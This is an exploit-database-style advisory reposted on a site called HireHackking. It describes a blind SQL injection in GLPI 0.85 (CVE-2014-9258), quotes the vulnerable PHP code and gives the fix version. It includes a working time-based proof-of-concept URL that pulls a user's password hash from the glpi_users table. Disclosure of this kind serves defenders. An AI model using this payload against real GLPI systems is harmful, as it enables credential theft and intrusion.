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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: GLPI 0.85 Blind SQL Injection
# Date: 28-11-2014
# Exploit Author: Kacper Szurek - http://security.szurek.pl/ http://twitter.com/KacperSzurek
# Software Link: https://forge.indepnet.net/attachments/download/1899/glpi-0.85.tar.gz
# CVE: CVE-2014-9258
# Category: webapps
  
1. Description
  
$_GET['condition'] is not escaped correctly.

File: ajax\getDropdownValue.php
if (isset($_GET['condition']) && !empty($_GET['condition'])) {
   $_GET['condition'] = rawurldecode(stripslashes($_GET['condition']));
}
if (isset($_GET['condition']) && ($_GET['condition'] != '')) {
   $where .= " AND ".$_GET['condition']." ";
}
$query = "SELECT `$table`.* $addselect
         FROM `$table`
         $addjoin
         $where
         ORDER BY $add_order `$table`.`completename`
         $LIMIT";

if ($result = $DB->query($query)) {

}

http://security.szurek.pl/glpi-085-blind-sql-injection.html

2. Proof of Concept

http://glpi-url/ajax/getDropdownValue.php?itemtype=group&condition=1 AND id = (SELECT IF(substr(password,1,1) = CHAR(36), SLEEP(5), 0) FROM `glpi_users` WHERE ID = 2)

3. Solution:
  
Update to version 0.85.1
http://www.glpi-project.org/spip.php?page=annonce&id_breve=334&lang=en
https://forge.indepnet.net/attachments/download/1928/glpi-0.85.1.tar.gz